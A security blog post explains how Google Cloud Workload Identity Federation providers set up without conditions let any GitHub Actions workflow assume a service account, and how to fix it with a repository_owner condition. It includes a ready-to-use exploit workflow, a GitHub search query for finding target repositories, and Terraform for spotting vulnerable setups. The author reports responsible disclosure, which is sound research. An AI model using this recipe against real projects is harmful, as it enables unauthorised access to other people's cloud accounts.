Exploiting misconfigured Google Cloud Service Accounts from GitHub Actions

Exploiting misconfigured Google Cloud Service Accounts from GitHub Actions
Photo by C Dustin / Unsplash

Most repositories have switched to OIDC for their GitHub Actions that are connected to GCP. This might seem like a win because Service Account Keys are gone. In some cases though it's as easy to exploit.

Back when you knew secrets were secrets

Before, it was obvious that Service Account Keys must remain secret. This meant scanning for secrets was easier for attackers, but more so, for defenders. Defenders are now scanning for secrets in their repositories. These can then be remediated before damage occurs.

It no longer looks like a secret so it gets ignored

This is a snippet for how to use a Workload Identity Federation Service Account from a GitHub Action.

name: 'Authenticate to Google Cloud'
uses: 'google-github-actions/auth@v0'
with:
	workload_identity_provider: 'projects/123456789/locations/global/workloadIdentityPools/github-pool/providers/github-pool-provider'
	service_account: 'github-sa@your-project.iam.gserviceaccount.com'

This works by requesting a short-lived token from Google Cloud. This token is then used to execute commands as that Service Account and is only valid for a short period. This makes stealing them while they are still useful much more difficult.

The values in workload_identity_provider and service_account don't look dangerous. Yet, if misconfigured can be an easy way to access a Service Account. Many quick start guides fail to mention the importance of adding conditions. Without those conditions, these repositories are missing an important step.

As an example, This blog post only mentions conditions once. You must dig deeper into the documentation to find out its importance. If you don't specify a condition then any GitHub Action can assume the role.

Why is this easier?

As this information isn't seen as sensitive, it gets committed to public repositories. This would be fine but if misconfigured as well then it can get used to exploit the Service Account. The combination of these two things also means the issue may not be detected by scanning tools.

Those repositories sometimes contain the IaC used to create those resources too. If the resource is there you can immediately see the misconfiguration.

How to exploit this misconfiguration

Exploiting this misconfiguration is straightforward. The developer who wrote the GitHub action has already done some of the work for you.

Create your repository on GitHub with an Actions workflow. Make sure to include the id-token: write permission.

name: Assume GCP OIDC Service Account

on:
  workflow_dispatch:

jobs:
  test_auth:
    name: 'Test OIDC Auth'
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write

Next, you need to copy and paste the auth steps that they have already written for you in their repository.

name: Assume GCP OIDC Service Account

on:
  workflow_dispatch:

jobs:
  test_auth:
    name: 'Test OIDC Auth'
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write
    
steps:
	- id: 'auth'
	name: 'Authenticate to Google Cloud'
      	uses: 'google-github-actions/auth@v0'
      	with:
      		workload_identity_provider: '<your-identity-pool>'
      		service_account: '<your-service-account>'

Finally, you can configure the gcloud CLI tool. Use this to run commands to enumerate what this service account can do.

name: Assume GCP OIDC Service Account

on:
  workflow_dispatch:

jobs:
  test_auth:
    name: 'Test OIDC Auth'
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write
    
steps:
	- id: 'auth'
      name: 'Authenticate to Google Cloud'
      uses: 'google-github-actions/auth@v0'
      with:
      	workload_identity_provider: '<your-identity-pool>'
      	service_account: '<your-service-account>'
        
    - name: 'Set up gcloud'
      uses: 'google-github-actions/setup-gcloud@v1'

    - name: 'Get projects'
      run: 'gcloud projects list'

Real-world use

I wanted to see if I could find any public repositories out there where this was a real-world issue.

The first step was to try and find the low-hanging fruit. This is where I knew it was very likely I would be able to exploit the misconfiguration.

This meant finding public repositories on GitHub that were using the google-github-actions/auth with OIDC. The values must also be written in plain text rather than in a secret (as some do).

GitHub search query: workload_identity_provider path
Search: workload_identity_provider path:/.github/workflows

This searches for that parameter used within any of the GitHub Actions workflows.

Then I looked through these repositories to see if I could find any that have IaC. I looked for IaC that configures the Google Cloud Workload Identity Federation pool. To find these I searched for Terraform files containing google_iam_workload_identity_pool_provider resource.

Here's an example of some Terraform to look out for.

resource "google_iam_workload_identity_pool" "github" {
  provider = google
  project  = data.google_project.project.project_id
  workload_identity_pool_id = "github"
}

resource "google_iam_workload_identity_pool_provider" "github" {
  provider = google
  project  = data.google_project.project.project_id
  workload_identity_pool_id          = google_iam_workload_identity_pool.github-actions[0].workload_identity_pool_id
  workload_identity_pool_provider_id = "github"

  attribute_mapping = {
    "google.subject"       = "assertion.sub"
    "attribute.actor"      = "assertion.actor"
    "attribute.aud"        = "assertion.aud"
    "attribute.repository" = "assertion.repository"
  }

  oidc {
    issuer_uri = "https://token.actions.githubusercontent.com"
  }
}

As you can see, no conditions have been set on the provider so this is a good target to try and exploit.

The final step is to take the values from workload_identity_provider and service_account and use them in our workflow. The only information we know at this point is the Project ID and the Service Account Name. This information is visible within these two values.

If the Auth step and your enumeration command is successful, or returns a permissions error rather than failing to generate an access token, then we know it is vulnerable.

Out of the 30 public repositories I checked, 6 had vulnerable GCP Service Accounts because of this misconfiguration.

I'm sure there a many more vulnerable repositories out there but testing for it can be time consuming so I have notified the ones that I found during my research.

Things to consider

There are also some other things to think about with this issue.

The first would be private repositories. This is another potential way into the Google Cloud account if you have managed to get access to either GitHub or some other source code that contains this data. These service accounts are normally used for deployments so they are likely to have a wide range of permissions attached to them. This makes them an appealing target.

The other thing to consider is that this doesn't only apply to GitHub. A condition could be missed on various other OIDC integrations as well if it works in the same way that GitHub does.

Fixing the issue

To resolve this issue, a condition needs to be added in the Google Cloud Workload Identity Federation Provider. You can learn more about these conditions in this documentation

Let's briefly go over a solution that provides some security with minimal overhead. Rather than allowing any GitHub Action to use our WIF pool, we can restrict it to only be allowed from repositories in our GitHub organisation.

When GitHub attempts to retrieve the access token it will send a bunch of claims over which you can use to create conditions. Here is an example.

{
  "typ": "JWT",
  "alg": "RS256",
  "x5t": "example-thumbprint",
  "kid": "example-key-id"
}
{
  "jti": "example-id",
  "sub": "repo:octo-org/octo-repo:environment:prod",
  "environment": "prod",
  "aud": "https://github.com/octo-org",
  "ref": "refs/heads/main",
  "sha": "example-sha",
  "repository": "octo-org/octo-repo",
  "repository_owner": "octo-org",
  "actor_id": "12",
  "repository_visibility": "private",
  "repository_id": "74",
  "repository_owner_id": "65",
  "run_id": "example-run-id",
  "run_number": "10",
  "run_attempt": "2",
  "runner_environment": "github-hosted"
  "actor": "octocat",
  "workflow": "example-workflow",
  "head_ref": "",
  "base_ref": "",
  "event_name": "workflow_dispatch",
  "ref_type": "branch",
  "job_workflow_ref": "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main",
  "iss": "https://token.actions.githubusercontent.com",
  "nbf": 1632492967,
  "exp": 1632493867,
  "iat": 1632493567
}
GitHub OIDC Claims

If you wanted to restrict access even further, you could use the repository claim to limit to to a single repository, or the sub claim to limit to a specific git reference within that repository. For our use case use the repository-owner claim to restrict it to just our GitHub organisation.

In the Google Cloud console, head over to GitHub provider in IAM & Admin > Workload Identity Federation. On this page you should already have your OIDC attribute mappings.

Google Cloud OIDC Attribute Mapping

Under this section you can add a condition to check to repository_owner claim like so.

Save this change and then only repositories within you GitHub organisation will be able to use the Service Accounts attached to this WIF pool going forward.

Revblock

Security Engineer